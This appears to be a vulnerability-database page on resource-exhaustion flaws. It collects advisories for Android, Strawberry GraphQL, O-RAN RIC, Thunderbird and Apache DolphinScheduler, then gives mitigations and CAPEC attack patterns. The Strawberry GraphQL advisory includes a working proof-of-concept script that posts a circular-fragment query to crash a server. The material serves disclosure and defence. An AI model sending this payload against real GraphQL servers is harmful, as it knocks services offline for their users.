In several functions of SnoozeHelper.java, there is a possible way to grant notifications access due to resource exhaustion. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11 Android-12 Android-12L Android-13Android ID: A-258422365
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2023-21110"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-15T22:15:11Z",
"severity": "HIGH"
},
"details": "In several functions of SnoozeHelper.java, there is a possible way to grant notifications access due to resource exhaustion. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11 Android-12 Android-12L Android-13Android ID: A-258422365",
"id": "GHSA-qfvr-c3w2-x3h7",
"modified": "2024-04-04T04:11:40Z",
"published": "2023-05-16T00:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21110"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2023-05-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QFWV-87QJ-98XQ
Vulnerability from github – Published: 2026-06-04 14:38 – Updated: 2026-06-09 11:53
VLAI
Summary
Strawberry GraphQL has a Circular Fragment Reference DOS
Details
Summary
The QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.
Details
The determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments. By submitting a query with circular fragment references (e.g., Fragment A $\rightarrow$ Fragment B $\rightarrow$ Fragment A), the validator enters an infinite recursion.
PoC
server code
import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import QueryDepthLimiter
@strawberry.type
class User:
name: str = "GONA"
@strawberry.type
class Query:
@strawberry.field
def user(self) -> User:
return User()
# Enable depth limiting
schema = strawberry.Schema(
query=Query,
extensions=[QueryDepthLimiter(max_depth=10)]
)
app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")
exploit
import httpx
# Circular reference: A -> B -> A -> B ...
payload = {
"query": """
fragment A on User {
...B
}
fragment B on User {
...A
}
query Crash {
user {
...A
}
}
"""
}
try:
response = httpx.post("http://127.0.0.1:8000/graphql", json=payload)
print(response.json())
except Exception as e:
print(f"Server crashed or timed out: {e}")
Impact
Since the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools
Severity
5.3 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.315.6"
},
"package": {
"ecosystem": "PyPI",
"name": "strawberry-graphql"
},
"ranges": [
{
"events": [
{
"introduced": "0.71.0"
},
{
"fixed": "0.315.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47706"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-04T14:38:52Z",
"nvd_published_at": "2026-06-04T15:16:54Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.\n\n### Details\nThe determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments.\nBy submitting a query with circular fragment references (e.g., Fragment A $\\rightarrow$ Fragment B $\\rightarrow$ Fragment A), the validator enters an infinite recursion.\n\n### PoC\n**server code**\n```\nimport strawberry\nfrom fastapi import FastAPI\nfrom strawberry.fastapi import GraphQLRouter\nfrom strawberry.extensions import QueryDepthLimiter\n\n@strawberry.type\nclass User:\n name: str = \"GONA\"\n\n@strawberry.type\nclass Query:\n @strawberry.field\n def user(self) -\u003e User:\n return User()\n\n# Enable depth limiting\nschema = strawberry.Schema(\n query=Query, \n extensions=[QueryDepthLimiter(max_depth=10)]\n)\n\napp = FastAPI()\napp.include_router(GraphQLRouter(schema), prefix=\"/graphql\")\n```\n\n**exploit**\n```\nimport httpx\n\n# Circular reference: A -\u003e B -\u003e A -\u003e B ...\npayload = {\n \"query\": \"\"\"\n fragment A on User {\n ...B\n }\n fragment B on User {\n ...A\n }\n query Crash {\n user {\n ...A\n }\n }\n \"\"\"\n}\n\ntry:\n response = httpx.post(\"http://127.0.0.1:8000/graphql\", json=payload)\n print(response.json())\nexcept Exception as e:\n print(f\"Server crashed or timed out: {e}\")\n```\n\n### Impact\nSince the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools",
"id": "GHSA-qfwv-87qj-98xq",
"modified": "2026-06-09T11:53:00Z",
"published": "2026-06-04T14:38:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-qfwv-87qj-98xq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47706"
},
{
"type": "PACKAGE",
"url": "https://github.com/strawberry-graphql/strawberry"
},
{
"type": "WEB",
"url": "https://github.com/strawberry-graphql/strawberry/releases/tag/0.315.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Strawberry GraphQL has a Circular Fragment Reference DOS"
}
GHSA-QFXJ-99GM-R9JR
Vulnerability from github – Published: 2025-02-25 15:34 – Updated: 2025-02-25 21:31
VLAI
Details
An issue was discovered in O-RAN Near Realtime RIC I-Release. To exploit this vulnerability, an attacker can disrupt the initial connection between a gNB and the Near RT-RIC by inundating the system with a high volume of subscription requests via an xApp.
Severity
4.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-34036"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-25T15:15:21Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in O-RAN Near Realtime RIC I-Release. To exploit this vulnerability, an attacker can disrupt the initial connection between a gNB and the Near RT-RIC by inundating the system with a high volume of subscription requests via an xApp.",
"id": "GHSA-qfxj-99gm-r9jr",
"modified": "2025-02-25T21:31:41Z",
"published": "2025-02-25T15:34:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34036"
},
{
"type": "WEB",
"url": "https://gist.github.com/fklement/3a43dbb9fb361dddd8db7703080ade0f"
},
{
"type": "WEB",
"url": "https://jira.o-ran-sc.org/browse/RIC-1057"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-QG45-RC8C-9676
Vulnerability from github – Published: 2026-07-01 03:35 – Updated: 2026-07-01 18:31
VLAI
Details
A malicious LDAP server, which a Thunderbird user is configured to query for address-book autocomplete, can stash arbitrarily large amounts of attacker-supplied data into the Thunderbird LDAP client until it crashes due to memory exhaustion. This vulnerability was fixed in Thunderbird 152.0.1 and Thunderbird 140.12.1.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-57962"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-01T02:17:00Z",
"severity": "MODERATE"
},
"details": "A malicious LDAP server, which a Thunderbird user is configured to query for address-book autocomplete, can stash arbitrarily large amounts of attacker-supplied data into the Thunderbird LDAP client until it crashes due to memory exhaustion. This vulnerability was fixed in Thunderbird 152.0.1 and Thunderbird 140.12.1.",
"id": "GHSA-qg45-rc8c-9676",
"modified": "2026-07-01T18:31:47Z",
"published": "2026-07-01T03:35:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57962"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2042872"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-62"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-63"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-64"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QG5X-66HP-CW5P
Vulnerability from github – Published: 2022-03-31 00:00 – Updated: 2022-04-05 18:52
VLAI
Summary
Uncontrolled Resource Consumption in Apache DolphinScheduler
Details
Apache DolphinScheduler user registration is vulnerable to Regular express Denial of Service (ReDoS) attacks. Apache DolphinScheduler users should upgrade to version 2.0.5 or higher.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.dolphinscheduler:dolphinscheduler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "apache-dolphinscheduler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-25598"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-04-01T15:38:43Z",
"nvd_published_at": "2022-03-30T10:15:00Z",
"severity": "HIGH"
},
"details": "Apache DolphinScheduler user registration is vulnerable to Regular express Denial of Service (ReDoS) attacks. Apache DolphinScheduler users should upgrade to version 2.0.5 or higher.",
"id": "GHSA-qg5x-66hp-cw5p",
"modified": "2022-04-05T18:52:26Z",
"published": "2022-03-31T00:00:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25598"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/dolphinscheduler"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/apache-dolphinscheduler/PYSEC-2022-176.yaml"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/hwnw7xr969sg5nv84wz75nfr2c76fl93"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uncontrolled Resource Consumption in Apache DolphinScheduler"
}
Mitigation
Architecture and Design
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
Architecture and Design
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Implementation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.